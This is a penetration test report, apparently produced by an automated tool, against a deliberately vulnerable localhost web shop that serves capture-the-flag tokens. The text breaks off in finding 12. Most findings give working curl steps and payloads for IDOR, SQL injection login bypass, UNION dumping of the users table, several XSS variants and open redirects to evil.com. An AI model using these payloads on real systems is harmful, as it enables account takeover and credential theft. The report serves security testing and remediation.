NeuroSploit

Penetration Test Report
AssetNimbusCart Inc
URL / targethttp://localhost:3000

Executive Summary

5
CRITICAL
4
HIGH
1
MEDIUM
0
LOW
0
INFO

Vulnerability Summary

#VulnerabilitySeverityStatusOWASP / CWE
1BOLA/IDOR on GET /api/v2/users/:id — any authenticated customer reads any user's full record (plaintext password + apiKey), incl. adminCriticalconfirmedA01:2021-Broken-Access-Control
2Unauthenticated IDOR on POST /api/graphql user(id:N) — returns any user's cleartext password + apiKey with no sessionCriticalconfirmedA01:2021-Broken-Access-Control
3SQL Injection Authentication Bypass at POST /login (username field)CriticalconfirmedA03:2021-Injection
4BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)CriticalconfirmedA01:2021-Broken-Access-Control
5UNION-based SQL injection at GET /shop/search?q= dumps users tableCriticalconfirmedA03:2021-Injection
6Reflected XSS at GET /shop/search?q= (executes in browser)HighconfirmedA03:2021-Injection
7Unrestricted file upload leads to stored XSS via SVG/HTML served inline from /uploads/HighconfirmedA04:2021-Insecure-Design
8Stored XSS via product review `text`, rendered unescaped at GET /shop/product/:id to all viewersHighconfirmedA03:2021-Injection
9Stored XSS via SVG ticket attachment served as image/svg+xml at /uploads/HighconfirmedA03:2021-Injection
10DOM-based XSS via ?name= URL parameter written to innerHTML on homepageMediumconfirmedA03:2021-Injection
11On successful login POST /login 302-redirects to the attacker-controlled external host in `next`, with no…Lowneeds-reviewA01:2021-Broken-Access-Control
12GET /go 302-redirects to the attacker-controlled external host supplied in the `url` param, with no…Lowneeds-reviewA01:2021-Broken-Access-Control
13MaxPrice is SQL-injectable with a boolean oracleInfoneeds-reviewA03:2021-Injection
14The `comment` field of POST /support/feedback reaches a SQL time function: an injected SLEEP(n)/pg_sleep(n)…Infoneeds-reviewA03:2021-Injection
15Endpoint requires a token but returns not-found for all probed ids; no order objects presentInfoneeds-reviewA01:2021-Broken-Access-Control
16Test accounts created during the engagement (DELETE after)Infoneeds-reviewA04:2021-Insecure-Design

Findings (16)

Critical 1. BOLA/IDOR on GET /api/v2/users/:id — any authenticated customer reads any user's full record (plaintext password + apiKey), incl. admin

CriticalityCriticalStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence1/1 · refute 1/2 · conf 0.20
Locationhttp://localhost:3000/api/v2/users/:id
Agentidor

Where the problem is

http://localhost:3000/api/v2/users/:id — Path parameter `:id` in GET /api/v2/users/:id. Bearer JWT authenticates the CALLER but the handler never checks that :id == caller id (no object-level authorization).

What it means

Measured: a freshly-registered customer token retrieved the complete DB record of arbitrary users (id 1 admin, id 12, id 13) including cleartext password and live apiKey. Using the disclosed admin password I authenticated as admin (verified: 'My Account (admin)', balance $500000, role admin). This is full horizontal AND vertical account takeover of every account, plus API key theft. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)

How to fix it

Enforce object-level authorization: in the /api/v2/users/:id handler reject when :id != authenticated caller id (or require an explicit admin role for arbitrary ids). Separately, never serialize password/apiKey in API responses — return a whitelisted DTO (id, username, role). Stop storing passwords in cleartext (bcrypt/argon2).

Proof of concept — step by step

  1. curl -s http://localhost:3000/api/v2/users/1   # baseline: {"error":"missing bearer token"}
  2. curl -s -c /tmp/j -X POST http://localhost:3000/register -d 'username=poc1&email=poc1@example.test&password=Poc1pw'
  3. TOK=$(curl -s -b /tmp/j http://localhost:3000/account/api-token | grep -Eo 'eyJ[A-Za-z0-9_.-]*')   # your customer JWT (id 14)
  4. curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/users/1   # returns admin's full record incl plaintext password + apiKey
  5. curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'   # 302 -> /account : logged in as admin

Payload

Authorization: Bearer <valid customer JWT>; GET /api/v2/users/1  (also /12, /13 — any id)

Technical evidence

AGENT-RECORDED EVIDENCE
Baseline no token -> {"error":"missing bearer token"} (auth IS enforced). With customer B's token (JWT id=13): GET /api/v2/users/12 -> {"id":12,"username":"nrsplt_a_10061","password":"Passw0rd_A_10061","apiKey":"nk_live_652c1651e4501044",...}. GET /api/v2/users/1 -> {"id":1,"username":"admin","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"}. Response carries _flag BURPAT{api_excessive_data_users_17874d4a}. Reproduced x2 identical. CHAIN: logging in with the leaked admin password (admin / SuperSecretAdmin!2024) returned 302 -> /account rendering 'My Account (admin)', Balance $500000.00, role admin = full admin account takeover.

Critical 2. Unauthenticated IDOR on POST /api/graphql user(id:N) — returns any user's cleartext password + apiKey with no session

CriticalityCriticalStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence1/1 · refute 1/2 · receipt_missing · conf 0.20
Locationhttp://localhost:3000/api/graphql
Agentidor

Where the problem is

http://localhost:3000/api/graphql — GraphQL Query field `user(id: Int)` — argument `id`. Resolver has NO authentication or object-level authorization and exposes password/apiKey fields.

What it means

Measured: with zero authentication an attacker enumerates every user id and receives cleartext password + live apiKey. id=1 yields admin/SuperSecretAdmin!2024, which authenticates a full admin session (verified). Complete unauthenticated database credential dump and account takeover. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Require authentication on /api/graphql; add object-level authorization in the user resolver (caller may only read their own id unless admin); remove password/apiKey from the GraphQL schema entirely; disable introspection in production.

Proof of concept — step by step

  1. curl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:1){ id username email role apiKey password } }"}'   # admin creds, no auth
  2. curl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:12){ id username password apiKey } }"}'   # different user, different data
  3. # confirm chain: log in with the returned admin password
  4. curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'

Payload

POST /api/graphql  {"query":"{ user(id:1){ id username email role apiKey password } }"}

Technical evidence

AGENT-RECORDED EVIDENCE
No cookie, no token: POST /api/graphql {"query":"{ user(id:1){...} }"} -> {"data":{"user":{"id":1,"username":"admin","email":"admin@nimbuscart.test","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","password":"SuperSecretAdmin!2024"}},"_flag":"BURPAT{api_graphql_authz_bypass_e7c3fc41}"}. Same query id:12 -> user A record, id:13 -> user B record — arbitrary id, distinct per-user data, all unauthenticated.

Critical 3. SQL Injection Authentication Bypass at POST /login (username field)

CriticalityCriticalStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-89Confidence1/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/login
Agentlogin_sqli_bypass

Where the problem is

POST http://localhost:3000/login — POST /login, form-urlencoded body field `username`. Payload `admin'--` in username; password can be any value.

What it means

Complete authentication bypass with no valid credentials. The session issued lands as the admin user: GET /account returned the admin dashboard (admin role badge, Balance $500000.00, admin-only links Transfer funds / Change email / Get API token / Order webhook). Measured: full unauthorized admin session obtained from a single unauthenticated POST. Payload `admin'--` targets a named account; a generic tautology (`zzz' OR 1=1-- -`) also succeeded, so any/first row is selectable. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)

How to fix it

Use a parameterised/prepared query (or ORM binding) for the credential lookup so `username` is never concatenated into SQL. Look up the user row by bound username, then verify the password hash server-side with a constant-time comparison; never let input terminate or comment out the SQL. Return a generic 'Invalid credentials' regardless of which field is wrong, and add auth rate-limiting/lockout (server currently states 'no lockout enforced').

Proof of concept — step by step

  1. curl -s -o /dev/null -w 'status=%{http_code} loc=%{redirect_url}\n' -A NeuroSploit/4.0.0 -X POST http://localhost:3000/login --data-urlencode "username=nobody_zzz" --data-urlencode "password=wrongpass" --data-urlencode "next="   # baseline -> 302 /login?err=Invalid credentials
  2. curl -s -o /dev/null -w 'status=%{http_code} loc=%{redirect_url}\n' -A NeuroSploit/4.0.0 -c /tmp/cj.txt -X POST http://localhost:3000/login --data-urlencode "username=admin'--" --data-urlencode "password=x" --data-urlencode "next="   # attack -> 302 /account
  3. curl -s -A NeuroSploit/4.0.0 -b /tmp/cj.txt http://localhost:3000/account | grep -E 'admin|Flag|Balance'   # authenticated admin content returned

Payload

username=admin'--&password=x&next=

Technical evidence

AGENT-RECORDED EVIDENCE
BASELINE POST /login username=nobody_zzz&password=wrongpass -> HTTP 302, Location: /login?err=Invalid%20credentials%20(attempt%20%231%2C%20no%20lockout%20enforced). ATTACK POST /login username=admin'--&password=x -> HTTP 302, Location: /account, Set-Cookie: nimbus.sid=... . GET /account with that cookie -> HTTP 200 body: 'Logged in via SQL injection auth bypass! Flag: BURPAT{web_sqli_login_bypass_e1ad1d9f}', 'My Account (admin)', 'Balance: $500000.00'. CONTROL POST username=admin&password=x (no injection) -> 302 /login?err=Invalid credentials, proving the trailing --' comment neutralises the password check. Reproduced 3x via curl and once via a real Chromium browser (Playwright). PoC: pocs/sqli_login_bypass.sh. Screenshot: evidence/sqli-login-bypass-admin.png (browser-rendered admin account + flag).

Proof screenshots

proof for SQL Injection Authentication Bypass at POST /login (username field)
evidence/sqli-login-bypass-001-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

Critical 4. BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)

CriticalityCriticalStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence1/1 · refute 0/2 · conf 0.20
LocationGET http://localhost:3000/api/v2/users/{id}
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/api/v2/users/{id} — Path parameter `{id}` on GET /api/v2/users/:id. Authenticated with a customer Bearer JWT (issued at /account/api-token). No per-object owner check; response also serializes password/apiKey fields the UI never uses.

What it means

Measured: any authenticated customer reads every user's full record — username, email, plaintext password, live apiKey, balance, role — by incrementing the numeric id. I retrieved admin (id 1), alice (2), bob (3). Chained the leaked admin password into a successful admin login and reached /admin (all-users listing) = full administrative account takeover. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Enforce server-side object-level authorization: reject requests where {id} != authenticated subject unless the caller holds an admin role. Remove password/apiKey from the API serializer (never return credential fields to any client). Store passwords hashed (bcrypt/argon2), not plaintext.

Proof of concept — step by step

  1. curl -s -c j.txt -d 'username=t1' -d 'email=t1@example.test' -d 'password=Pw!123456' http://localhost:3000/register
  2. curl -s -b j.txt http://localhost:3000/account/api-token   # copy the eyJ... JWT (your uid in payload)
  3. curl -s -H 'Authorization: Bearer <JWT>' http://localhost:3000/api/v2/users/1   # returns admin record incl. password+apiKey
  4. curl -si -d 'username=admin' -d 'password=SuperSecretAdmin!2024' http://localhost:3000/login   # 302 /account (takeover)
  5. curl -s -b <admin-cookie> http://localhost:3000/admin   # full admin panel

Payload

Authorization: Bearer <customer JWT uid=8>  →  GET /api/v2/users/1

Technical evidence

AGENT-RECORDED EVIDENCE
Baseline: my JWT payload = {"id":8,"role":"customer"}. Attack: GET /api/v2/users/1 with my customer token → HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9admin..."}. Repeated for id=2 (alice) and id=3 (bob) — deterministic, full records each time. CHAIN: used leaked admin password to POST /login → 302 /account as admin, then GET /admin → 200 rendered Admin Panel listing all 9 users. PoC: pocs/bola_users_api.sh (re-run confirmed with fresh uid=11 token reading admin).

Proof screenshots

proof for BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)
evidence/ns-001-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

Critical 5. UNION-based SQL injection at GET /shop/search?q= dumps users table

CriticalityCriticalStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-89Confidence0/1 · refute 1/2 · conf 0.20
LocationGET http://localhost:3000/shop/search?q=
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/shop/search?q= — Query parameter `q` concatenated into a SQL SELECT (SQLite dialect). 5-column UNION aligns.

What it means

Unauthenticated full read of the users table including plaintext passwords (verified admin credential) — arbitrary DB read. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)

How to fix it

Use parameterised/prepared statements for the search query; never string-concatenate `q`. Apply least-privilege DB account.

Proof of concept — step by step

  1. curl -s "http://localhost:3000/shop/search?q=zzz'"   # malformed → altered output
  2. curl -s "http://localhost:3000/shop/search?q=zzz'%20UNION%20SELECT%20username,password,role,4,5%20FROM%20users--%20"   # dumps admin credentials

Payload

q=zzz' UNION SELECT username,password,role,4,5 FROM users--

Technical evidence

AGENT-RECORDED EVIDENCE
HTTP 200 body rendered a results table containing admin / SuperSecretAdmin!2024 / admin and the app's own banner "UNION SQLi confirmed - sensitive columns dumped". Single-quote (q=zzz') alters/breaks the query deterministically. PoC: pocs/sqli_union_search.sh (unauthenticated).

Runnable script (extra)

The steps above are the proof; this script automates them.

High 6. Reflected XSS at GET /shop/search?q= (executes in browser)

CriticalityHighStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-79Confidence1/1 · refute 1/2 · conf 0.20
LocationGET http://localhost:3000/shop/search?q=
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/shop/search?q= — Query parameter `q` reflected unescaped into the HTML: <p class="lead">Showing results for: {q}</p>.

What it means

Arbitrary JavaScript execution in a victim's session on localhost:3000 origin (confirmed via document.title mutation). Can steal app state / drive authenticated actions. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

HTML-encode `q` on output (context-aware escaping in the template); add a script-src CSP (current CSP only sets frame-ancestors).

Proof of concept — step by step

  1. curl -s "http://localhost:3000/shop/search?q=<b>MARK</b><script>alert(1)</script>"   # reflected verbatim
  2. Open in a browser: http://localhost:3000/shop/search?q=<img src=x onerror=document.title='XSSPWN_ns7xk9'>   # title becomes XSSPWN_ns7xk9

Payload

q=<img src=x onerror=document.title='XSSPWN_ns7xk9'>

Technical evidence

AGENT-RECORDED EVIDENCE
Baseline: `GET /shop/search?q=xss1337test` -> 200, Content-Type text/html, body contains `<p class="lead">Showing results for: xss1337test</p>` (source comment literally reads `reflected without encoding`). Attack: `GET /shop/search?q=<img src=x onerror=alert(document.domain)>` -> 200, body contains raw `<p class="lead">Showing results for: <img src=x onerror=alert(document.domain)></p>` — `<`/`>` NOT entity-encoded, injected as live DOM. Browser proof: Playwright/Chromium loaded the URL and the `onerror` handler fired a dialog with message `localhost-NS9X7K2XSS`, proving my injected JS executed (marker present, absent from any static reflection). CSP header is only `Content-Security-Policy: frame-ancestors 'self'` — no `script-src`/`default-src`, so inline event handlers are not blocked.

Proof screenshots

proof for Reflected XSS at GET /shop/search?q= (executes in browser)
evidence/ns-005-1.png

High 7. Unrestricted file upload leads to stored XSS via SVG/HTML served inline from /uploads/

CriticalityHighStatusconfirmed
OWASP / CWEA04:2021-Insecure-Design · CWE-434Confidence1/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/support/ticket
Agentfile_upload

Where the problem is

POST http://localhost:3000/support/ticket — multipart/form-data field `attachment` on POST /support/ticket; file stored under original filename and served at GET /uploads/<filename> with attacker-controlled Content-Type

What it means

MEASURED: any file (SVG, HTML, .php, arbitrary extension) is accepted with no extension/content-type/content validation, stored under its original attacker-chosen filename, and served from /uploads/ with a matching Content-Type. Navigating to /uploads/x.svg executed attacker JS in the http://localhost:3000 origin (dialog confirmed in headless Chromium); an .html upload is served as text/html, giving full same-origin script execution against any user who opens the attachment link on a public ticket. Response CSP contains only frame-ancestors, so inline script is not blocked. NOT observed: server-side code execution — the .php payload was returned as raw source, so no RCE. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Server-side allowlist of permitted MIME types AND extensions (e.g. png/jpeg/gif/pdf) validated by magic bytes, not the client-supplied Content-Type; rename uploads to a random server-generated name and strip the original extension; serve /uploads/ with Content-Disposition: attachment and Content-Type: application/octet-stream (or a text/plain sandbox) plus a strict Content-Security-Policy (default-src 'none') so SVG/HTML cannot execute; ideally store files outside the web root and stream them through an authenticated handler.

Proof of concept — step by step

  1. printf '<?xml version="1.0"?>\n<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(1)</script><text x=10 y=20>nrsplt_svg_9k2</text></svg>' > x.svg
  2. curl -s -i -F 'subject=poc' -F 'body=poc' -F 'attachment=@x.svg;type=image/svg+xml' http://localhost:3000/support/ticket   # -> 302 Location: /support
  3. curl -s http://localhost:3000/support | grep uploads   # -> href="/uploads/x.svg"
  4. curl -s -i http://localhost:3000/uploads/x.svg   # -> 200, Content-Type: image/svg+xml, script intact, no script-src CSP
  5. Open http://localhost:3000/uploads/x.svg in a browser -> alert() fires (JS executes in localhost:3000 origin)

Payload

attachment=@x.svg (Content-Type image/svg+xml) containing <svg onload="alert('nrsplt_svg_9k2')"><script>alert('nrsplt_svg_9k2')</script></svg>; also h.html served as text/html

Technical evidence

AGENT-RECORDED EVIDENCE
Upload: POST /support/ticket (subject+body+attachment) -> HTTP 302 Location: /support. /support then lists: <a href="/uploads/x.svg">attachment</a>. GET /uploads/x.svg -> HTTP 200, Content-Type: image/svg+xml, body = SVG with script verbatim. Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src). Headless Chromium navigation to /uploads/x.svg => DIALOG_FIRED: "nrsplt_svg_9k2" (inline SVG script executed in localhost:3000 origin). HTML variant: GET /uploads/h.html -> 200 Content-Type: text/html; charset=UTF-8 (arbitrary same-origin HTML/JS). PHP variant: GET /uploads/s.php -> 200 Content-Type: application/x-httpd-php but body returned as RAW source (<?php echo "nrsplt_php";?>) — NOT executed (Node static serve, no PHP engine) => no RCE.

Proof screenshots

proof for Unrestricted file upload leads to stored XSS via SVG/HTML served inline from /uploads/
evidence/ns-upload-001-1.png

High 8. Stored XSS via product review `text`, rendered unescaped at GET /shop/product/:id to all viewers

CriticalityHighStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-79Confidence1/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/shop/product/1/review (display: GET http://localhost:3000/shop/product/1)
Agentxss_stored

Where the problem is

POST http://localhost:3000/shop/product/1/review (display: GET http://localhost:3000/shop/product/1) — POST /shop/product/:id/review, form field `text`. Stored and echoed verbatim inside <div class="card"><div>…HERE…</div></div> on GET /shop/product/:id. Requires an authenticated session to POST; display page is PUBLIC (renders to anonymous visitors).

What it means

Measured: an authenticated user's review body is stored and returned unescaped, and the injected <script>/<img onerror> execute in a real browser in the localhost origin for every visitor of the product page, including unauthenticated ones. Script runs same-origin as NimbusCart, so it can read/exfil the victim's session-scoped state and act as the victim (session cookie nimbus.sid is HttpOnly, so document.cookie theft is blocked, but same-origin requests as the victim — e.g. driving authenticated /account actions — are not). Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.1 if fully exploited)

How to fix it

HTML-entity-encode review text on output in the product template (the templating engine's auto-escaping is being bypassed here — render as text, not raw HTML). Add a real Content-Security-Policy with `script-src 'self'` (no inline) as defense-in-depth; the current CSP only sets frame-ancestors.

Proof of concept — step by step

  1. curl -s -c /tmp/j.jar --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt_t_pw!' http://localhost:3000/register -o /dev/null   # register + auto-login
  2. curl -s -b /tmp/j.jar --data-urlencode "text=<script>document.title='nsxss7331'</script><img src=x onerror=alert('nsxss7331')>" http://localhost:3000/shop/product/1/review -o /dev/null   # store payload
  3. curl -s http://localhost:3000/shop/product/1 | grep nsxss7331   # baseline: no session needed to VIEW; payload appears raw, un-encoded
  4. Open http://localhost:3000/shop/product/1 in a browser -> alert('nsxss7331') fires / document.title becomes nsxss7331

Payload

<script>document.title='nsxss7331'</script><img src=x onerror=window.__nsxss=document.domain>

Technical evidence

AGENT-RECORDED EVIDENCE
Submit 302 to /shop/product/1. GET /shop/product/1 (with AND without session cookie) returns body: <div class="card"><b>nrsplt_15633</b><div><img src=x onerror=window.__nsxss=document.domain;document.title='nsxss7331'><script>window.__nsxss2='nsxss7331'</script></div></div> — payload NOT HTML-encoded. Headless Chromium load of the page: document.title='nsxss7331' (img onerror ran), window.__nsxss='localhost' (=document.domain), window.__nsxss2='nsxss7331' (inline <script> ran). Response CSP: `frame-ancestors 'self'` only — no script-src. PoC: pocs/stored_xss_product_review.sh (passes). Screenshot: /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/evidence/stored-xss-product-review.png

Proof screenshots

proof for Stored XSS via product review `text`, rendered unescaped at GET /shop/product/:id to all viewers
evidence/stored-xss-product-review-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

High 9. Stored XSS via SVG ticket attachment served as image/svg+xml at /uploads/

CriticalityHighStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-79Confidence1/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/support/ticket (display: GET http://localhost:3000/uploads/<name>.svg)
Agentxss_stored

Where the problem is

POST http://localhost:3000/support/ticket (display: GET http://localhost:3000/uploads/<name>.svg) — POST /support/ticket, multipart field `attachment` — an uploaded .svg is stored and served from /uploads/<filename>.svg with Content-Type: image/svg+xml. The public tickets list on GET /support links directly to each /uploads/ file.

What it means

Measured: an uploaded SVG is served inline as image/svg+xml on the same origin and its onload JavaScript executes when the file URL is opened in a browser. The upload links are surfaced publicly on GET /support ('Recent public tickets'), so any user/staff clicking a ticket attachment runs attacker JS in the NimbusCart origin. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Serve user uploads with Content-Type: application/octet-stream (or a strict allowlist that excludes image/svg+xml) and Content-Disposition: attachment; ideally host uploads on a separate sandbox origin. Reject/normalise SVG uploads, or add CSP `script-src 'none'` on the /uploads/ path.

Proof of concept — step by step

  1. curl -s -c /tmp/j.jar --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt_t_pw!' http://localhost:3000/register -o /dev/null
  2. printf '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><text>x</text></svg>' > /tmp/x.svg
  3. curl -s -b /tmp/j.jar -F 'subject=poc' -F 'body=poc' -F 'attachment=@/tmp/x.svg;type=image/svg+xml;filename=nssvg9021.svg' http://localhost:3000/support/ticket -o /dev/null   # store
  4. curl -s -i http://localhost:3000/uploads/nssvg9021.svg | grep -i content-type   # baseline: served as image/svg+xml, un-sanitised
  5. Open http://localhost:3000/uploads/nssvg9021.svg in a browser -> alert(1) fires in localhost origin

Payload

<svg xmlns="http://www.w3.org/2000/svg" onload="document.title='nssvg9021';window.__nssvg='nssvg9021'"><text>nssvg9021</text></svg>

Technical evidence

AGENT-RECORDED EVIDENCE
Upload 302 to /support. GET /uploads/nssvg9021.svg -> 200, Content-Type: image/svg+xml, body is the SVG verbatim. Headless Chromium navigated to that URL: document.title='nssvg9021', window.__nssvg='nssvg9021' — the SVG onload executed in the localhost origin. CSP has no script-src/object-src. PoC: pocs/stored_xss_svg_upload.sh (passes). Screenshot: /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/evidence/stored-xss-svg-upload.png

Proof screenshots

proof for Stored XSS via SVG ticket attachment served as image/svg+xml at /uploads/
evidence/stored-xss-svg-upload-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

Medium 10. DOM-based XSS via ?name= URL parameter written to innerHTML on homepage

CriticalityMediumStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-79Confidence1/1 · receipt_missing · conf 0.20
Locationhttp://localhost:3000/?name=
Agentxss_dom

Where the problem is

http://localhost:3000/?name= — Client script GET /app.js, function renderGreeting(): SOURCE = new URLSearchParams(window.location.search).get("name"); SINK = document.getElementById("greeting").innerHTML = "Welcome back, " + name + "! ...". No encoding/sanitization between source and sink. Runs on GET / (homepage) which contains <div id="greeting">.

What it means

Measured: attacker-supplied markup in the ?name= query parameter is inserted into the DOM via innerHTML and executes JavaScript in the http://localhost:3000 origin (verified: injected onerror handler ran, set document.title and a window global). A crafted homepage link (the intended 'campaign link' use, e.g. /?name=Alice) executes arbitrary JS in the victim's session context — enabling theft of same-origin data, actions as the victim, and phishing. Note the session cookie nimbus.sid is HttpOnly so document.cookie theft is blocked, but the JS can still call authenticated app/API endpoints as the victim. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Do not pass user input to innerHTML. Use el.textContent = "Welcome back, " + name + "! ..." so the value is rendered as text, or HTML-encode `name` before concatenation. If markup is genuinely required, sanitize with a library like DOMPurify against an allowlist. The homepage CSP (present) should also drop any inline-script allowances that enable event-handler execution.

Proof of concept — step by step

  1. curl -s http://localhost:3000/app.js | grep -n innerHTML   # shows the sink: el.innerHTML = "Welcome back, " + name
  2. curl -s http://localhost:3000/ | grep 'id="greeting"'   # confirms the target element exists
  3. Open in a browser: http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
  4. Observe alert() firing with document.domain = localhost, proving same-origin script execution (marker variant sets document.title=NSXSS_9f4c2e).
  5. Reproduce headless: bash pocs/dom_xss_name.sh  -> RESULT {"marker":"NSXSS_9f4c2e","origin":"http://localhost:3000"}

Payload

http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22window.__xss_marker%3D%27NSXSS_9f4c2e%27%3Bdocument.title%3D%27NSXSS_9f4c2e%27%22%3E

Technical evidence

AGENT-RECORDED EVIDENCE
app.js line 18: `el.innerHTML = "Welcome back, " + name + "! Check out today's deals.";` fed by `params.get("name")` from window.location.search with no escaping. Browser (Playwright/Chromium) navigated to the payload URL; the injected <img onerror> handler executed in origin http://localhost:3000 — document.title and window.__xss_marker both became NSXSS_9f4c2e. Console log recorded `GET http://localhost:3000/x 404` (the failed <img src=x> that fires onerror). PoC: pocs/dom_xss_name.sh (RESULT {"marker":"NSXSS_9f4c2e","origin":"http://localhost:3000"}). Screenshot: evidence/dom-xss-name-innerhtml.png

Proof screenshots

proof for DOM-based XSS via ?name= URL parameter written to innerHTML on homepage
evidence/domxss-name-innerhtml-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

Low 11. On successful login POST /login 302-redirects to the attacker-controlled external host in `next`, with no… NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-601Confidence1/1 · conf 0.60
Locationhttp://localhost:3000/login
Agentopen_redirect
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential

Where the problem is

http://localhost:3000/login — POST /login, body field `next` (honored only on SUCCESSFUL authentication)

What it means

Observed: - POST /login valid creds, no next -> HTTP 302, Location: /account [E01] - POST /login valid creds + next=//evil.com -> HTTP 302, Location: //evil.com [E02] - POST /login FAILED creds + next=//evil.com -> HTTP 302, Location: /login?err=... (next ignored when auth fails) [E03] Not demonstrated: Post-auth credential/session theft. Potential impact: Phishing immediately after authentication: a login link with next=//evil.com bounces the freshly-authenticated victim to an attacker page that impersonates the app.

How to fix it

Validate `next` server-side before redirecting: accept only relative same-site paths (reject values beginning with a scheme, `//`, or `\`), or map to an allowlist. Default to /account when validation fails.

Proof of concept — step by step

  1. curl -s -i -X POST http://localhost:3000/register -d 'username=nrsplt_3af23ef6&email=nrsplt_3af23ef6@example.test&password=Nrsplt_Pass_3af23ef6!'   # 302 /account (create test user once)
  2. curl -s -i -X POST http://localhost:3000/login -d 'username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!'   # BASELINE -> Location: /account
  3. curl -s -i -X POST http://localhost:3000/login -d 'username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!&next=//evil.com'   # ATTACK
  4. Read the Location header of the attack response: Location: //evil.com (external protocol-relative host)

Payload

username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!&next=//evil.com

Technical evidence

AGENT-RECORDED EVIDENCE
Baseline (valid creds, no next): HTTP/1.1 302 Found, Location: /account. Attack (valid creds + next=//evil.com): HTTP/1.1 302 Found, Location: //evil.com, body 'Found. Redirecting to //evil.com'. Failed logins ignore `next` (redirect to /login?err=...), so a valid session is required. PoC: pocs/open_redirect_login_next.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

Low 12. GET /go 302-redirects to the attacker-controlled external host supplied in the `url` param, with no… NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-601Confidence1/1 · conf 0.60
Locationhttp://localhost:3000/go
Agentopen_redirect
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential

Where the problem is

http://localhost:3000/go — GET /go, query parameter `url`

What it means

